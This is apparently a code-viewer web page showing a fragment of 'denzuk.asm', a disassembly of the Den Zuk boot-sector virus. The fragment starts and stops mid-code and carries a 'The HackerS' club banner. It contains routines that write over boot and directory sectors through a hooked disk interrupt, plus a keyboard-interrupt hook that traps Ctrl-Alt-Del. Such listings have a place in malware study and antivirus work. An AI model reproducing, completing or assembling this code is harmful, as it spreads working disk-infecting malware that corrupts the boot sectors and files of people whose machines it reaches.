📄 denzuk.asm
字号:
mov al,ds:data_0033e
or ch,[bp+si-5556h]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
mov al,ds:data_0161e
test al,0
add [bx+si],al
add [bp+si],cl
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
add [bp+si],al
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add [bx+si],al
sub ch,[bp+si+0]
nop ;*ASM fixup - displacement
nop ;*ASM fixup - sign extn byte
add [bp+si],ch
stosb ; Store al to es:[di]
add [bp+si],al
stosb ; Store al to es:[di]
mov al,ds:data_0033e
stosb ; Store al to es:[di]
test al,0
add [bp+si],ch
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bp+si+0A8h],ch
add [bp+si],ch
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
sub ch,[bp+si+0A0h]
add [bx+si],al
or ch,[bp+si+80h]
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
sub ch,[bp+si+0]
nop ;*ASM fixup - displacement
nop ;*ASM fixup - sign extn byte
add [bp+si],ch
stosb ; Store al to es:[di]
add [bp+si],al
stosb ; Store al to es:[di]
mov al,byte ptr data_0041+40h ; (' ')
stosb ; Store al to es:[di]
mov al,byte ptr data_0041+40h ; (' ')
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bp+si+0A8h],ch
add [bx+si],al
sub ch,[bp+si+0A0h]
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
sub ch,[bp+si-7F56h]
add [bx+si],al
or ch,[bp+si+80h]
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
sub ch,[bp+si+0]
nop ;*ASM fixup - displacement
nop ;*ASM fixup - sign extn byte
add [bp+si],ch
stosb ; Store al to es:[di]
add [bp+si],al
stosb ; Store al to es:[di]
mov al,ds:data_0033e
sub al,[bx+si+0]
nop ;*ASM fixup - displacement
nop ;*ASM fixup - sign extn byte
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
stosb ; Store al to es:[di]
test al,0
add [bx+si],al
add ch,[bp+si+0A8h]
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bp+si-5556h],ch
add [bx+si],al
or ch,[bp+si+80h]
add [bx+si],al
add [bx+si],al
add [bx+si],al
or ch,[bp+si+0A8h]
add [bx+si],al
sub ch,[bp+si+0]
nop ;*ASM fixup - displacement
nop ;*ASM fixup - sign extn byte
add [bp+si],ch
stosb ; Store al to es:[di]
add [bp+si],al
stosb ; Store al to es:[di]
mov al,ds:data_0179e
or [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
mov al,ds:data_0033e
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
stosb ; Store al to es:[di]
test al,0
add [bx+si],al
add [bp+si+0AAh],ch
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bp+si],cl
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
test al,0
or ch,[bp+si+80h]
add [bx+si],al
add [bx+si],al
add [bx+si],al
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
add [bp+si],ch
stosb ; Store al to es:[di]
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
add [bp+si],al
stosb ; Store al to es:[di]
mov al,byte ptr ds:[0A00Ah]
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add dh,dh
and bp,[bx+si]
add [bx+si],al
push ax
push bx
push cx
push dx
cmp data_0045,1
jne loc_0021 ; Jump if not equal
cmp data_0044,0
je loc_0022 ; Jump if equal
loc_0021:
xor ah,ah ; Zero register
int 6Fh ; ??int non-standard interrupt
jc loc_0022 ; Jump if carry Set
mov dh,data_0044
mov dl,byte ptr cs:[529h]
mov cx,data_0045
mov bx,200h
mov ax,201h
int 6Fh ; ??int non-standard interrupt
loc_0022:
pop dx
pop cx
pop bx
pop ax
retn
sub_0003 endp
db 50h, 53h, 51h, 52h, 32h
dw 0CDE4h ; Data table (indexed access)
db 6Fh
dw 1272h ; Data table (indexed access)
db 32h,0F6h, 2Eh, 8Ah, 16h, 29h
db 05h,0B9h, 21h, 28h,0BBh, 00h
db 02h,0B8h, 01h, 02h,0CDh, 6Fh
db 5Ah, 59h, 5Bh, 58h,0C3h, 50h
db 53h, 51h, 52h, 32h,0E4h,0CDh
db 6Fh, 72h, 1Ah, 32h,0F6h, 8Ah
db 16h, 29h, 05h,0B5h, 28h,0BBh
db 7Ch, 06h,0B8h, 09h, 05h,0CDh
db 6Fh, 73h, 05h,0F6h,0C4h, 82h
db 75h, 03h
db 0E8h, 29h, 00h
db 5Ah, 59h, 5Bh, 58h,0C3h, 28h
db 00h, 21h, 02h, 28h, 00h, 22h
db 02h, 28h, 00h, 23h, 02h, 28h
db 00h, 24h, 02h, 28h, 00h, 25h
db 02h, 28h, 00h, 26h, 02h, 28h
db 00h, 27h, 02h, 28h, 00h, 28h
db 02h, 28h, 00h, 29h, 02h
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_0005 proc near
push ax
push bx
push cx
push dx
xor ah,ah ; Zero register
int 6Fh ; ??int non-standard interrupt
jc loc_0026 ; Jump if carry Set
xor dh,dh ; Zero register
mov dl,byte ptr ds:[529h]
mov cx,2821h
mov bx,200h
mov ax,309h
int 6Fh ; ??int non-standard interrupt
jnc loc_0025 ; Jump if carry=0
test ah,82h
jnz loc_0026 ; Jump if not zero
loc_0025:
xor bx,bx ; Zero register
call sub_0006
cmp cs:data_0050,3
jb loc_0026 ; Jump if below
call sub_0007
loc_0026:
pop dx
pop cx
pop bx
pop ax
retn
sub_0005 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_0006 proc near
push ax
push cx
push dx
xor ah,ah ; Zero register
int 6Fh ; ??int non-standard interrupt
jc loc_0027 ; Jump if carry Set
xor dh,dh ; Zero register
mov dl,byte ptr cs:[529h]
mov cx,1
mov ax,301h
int 6Fh ; ??int non-standard interrupt
loc_0027:
pop dx
pop cx
pop ax
retn
sub_0006 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_0007 proc near
;* jmp short loc_0028 ;*
db 0EBh, 10h
nop
pop cx
stc ; Set carry flag
inc bx
stc ; Set carry flag
xor cx,di
inc bp
stc ; Set carry flag
push dx
stc ; Set carry flag
push ax
add [bx+si],al
push es
add [bx+si+53h],dx
push cx
push dx
push ds
push es
push si
push di
mov al,byte ptr ds:[529h]
mov byte ptr ds:[701h],al
mov byte ptr ds:[704h],1
mov byte ptr ds:[702h],0
mov byte ptr ds:[703h],6
loc_0029:
mov dh,byte ptr ds:[702h]
mov dl,byte ptr ds:[701h]
xor ch,ch ; Zero register
mov cl,byte ptr ds:[703h]
lea bx,cs:[1277h] ; Load effective addr
mov ax,201h
int 6Fh ; ??int non-standard interrupt
xor bx,bx ; Zero register
loc_0030:
mov al,byte ptr ds:[1282h][bx]
test al,8
jz loc_0031 ; Jump if zero
or byte ptr ds:[1282h][bx],9
lea si,ds:[6F6h] ; Load effective addr
lea di,[bx+1277h] ; Load effective addr
mov cx,0Bh
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
xor al,al ; Zero register
lea di,[bx+1283h] ; Load effective addr
mov cx,14h
stosb ; Store al to es:[di]
call sub_0008
jmp short loc_0035
db 90h
loc_0031:
add bx,20h
cmp bx,200h
jae loc_0032 ; Jump if above or =
jmp short loc_0030
loc_0032:
cmp byte ptr ds:[703h],9
jb loc_0033 ; Jump if below
xor byte ptr ds:[702h],1
mov byte ptr ds:[703h],1
jmp short loc_0034
loc_0033:
inc byte ptr ds:[703h]
loc_0034:
inc byte ptr ds:[704h]
cmp byte ptr ds:[704h],7
ja loc_0035 ; Jump if above
jmp short loc_0029
loc_0035:
pop di
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
retn
sub_0007 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_0008 proc near
push ax
push bx
push cx
push dx
xor ah,ah ; Zero register
int 6Fh ; ??int non-standard interrupt
jc loc_0036 ; Jump if carry Set
mov dh,byte ptr ds:[702h]
mov dl,byte ptr ds:[701h]
xor ch,ch ; Zero register
mov cl,byte ptr ds:[703h]
lea bx,cs:[1277h] ; Load effective addr
mov ax,301h
int 6Fh ; ??int non-standard interrupt
loc_0036:
pop dx
pop cx
pop bx
pop ax
retn
sub_0008 endp
db 0E9h, 0Bh
db 0Ah, 'The HackerS'
db 00h, 00h, 00h, 00h,0AAh,0A8h
db 00h,0AAh,0A0h, 00h, 00h, 00h
db 00h, 0Ah,0AAh,0AAh,0AAh,0AAh
db 0AAh,0A0h, 00h, 20h, 00h, 00h
db 00h, 00h, 00h, 0Ah,0AAh, 80h
db 00h, 00h, 00h, 02h
db 7 dup (0AAh)
db 0A8h, 00h, 2Ah,0AAh, 00h, 00h
db 0F6h, 22h, 28h, 00h, 00h,0EBh
db 66h, 90h, 21h, 00h, 02h, 87h
db 0E9h, 00h,0F0h, 91h, 08h, 00h
db 0C8h, 00h, 00h
db ' Welcome to the'
db ' C l u b --The HackerS--'
db ' Hackin', 27h, ' All T'
db 'he Time '
db 00h, 00h,0FFh,0FFh, 00h, 7Ch
db 00h
db 00h, 9Ch, 50h, 1Eh, 06h, 56h
db 57h, 33h,0C0h, 8Eh,0D8h, 8Eh
db 0C0h, 2Eh,0C6h, 06h, 05h, 04h
db 08h,0A1h, 4Ch, 00h, 3Dh, 26h
db 05h, 74h, 3Fh,0FAh, 2Eh,0FFh
db 06h, 03h, 04h,0A1h, 4Ch, 00h
db 0A3h,0BCh, 01h, 2Eh,0A3h, 0Ah
db 04h,0A1h, 4Eh, 00h,0A3h,0BEh
db 01h, 2Eh,0A3h, 0Ch, 04h,0B8h
db 26h, 05h,0A3h, 4Ch, 00h, 8Ch
db 0C8h,0A3h, 4Eh, 00h,0A1h, 24h
db 00h, 2Eh,0A3h, 06h, 04h,0A1h
db 26h, 00h, 2Eh,0A3h, 08h, 04h
db 0C7h, 06h, 24h, 00h,0D9h, 04h
db 8Ch,0C8h,0A3h, 26h, 00h,0FBh
loc_0039:
push cs
pop ds
mov si,offset data_0041+40h ; (' ')
mov di,data_0011e
mov cx,200h
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
pop di
pop si
pop es
pop ds
pop ax
popf ; Pop flags
jmp cs:data_0057
sti ; Enable interrupts
push ax
push cx
push ds
pushf ; Push flags
xor ax,ax ; Zero register
mov ds,ax
in al,60h ; port 60h, keybd scan or sw1
test al,80h
jnz loc_0042 ; Jump if not zero
mov ah,ds:keybd_flags_1_
test ah,8
jz loc_0042 ; Jump if zero
test ah,4
jz loc_0042 ; Jump if zero
cmp al,53h ; 'S'
jne loc_0040 ; Jump if not equal
cmp byte ptr ds:video_mode_,7
je loc_0041 ; Jump if equal
cmp cs:data_0050,3
jb loc_0041 ; Jump if below
;* call sub_0017 ;*
db 0E8h,0B7h, 02h
jmp short loc_0041
loc_0040:
cmp al,3Fh ; '?'
jne loc_0042 ; Jump if not equal
loc_0041:
mov word ptr ds:warm_boot_flag_,1234h
jmp cs:data_0056
loc_0042:
popf ; Pop flags
pop ds
pop cx
pop ax
jmp dword ptr cs:data_0052
;* jmp short loc_0044 ;*
db 0EBh, 0Ah
add [bx+di],al
add [bx+di],al
jo loc_0043 ; Jump if overflow=1
loc_0043:
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -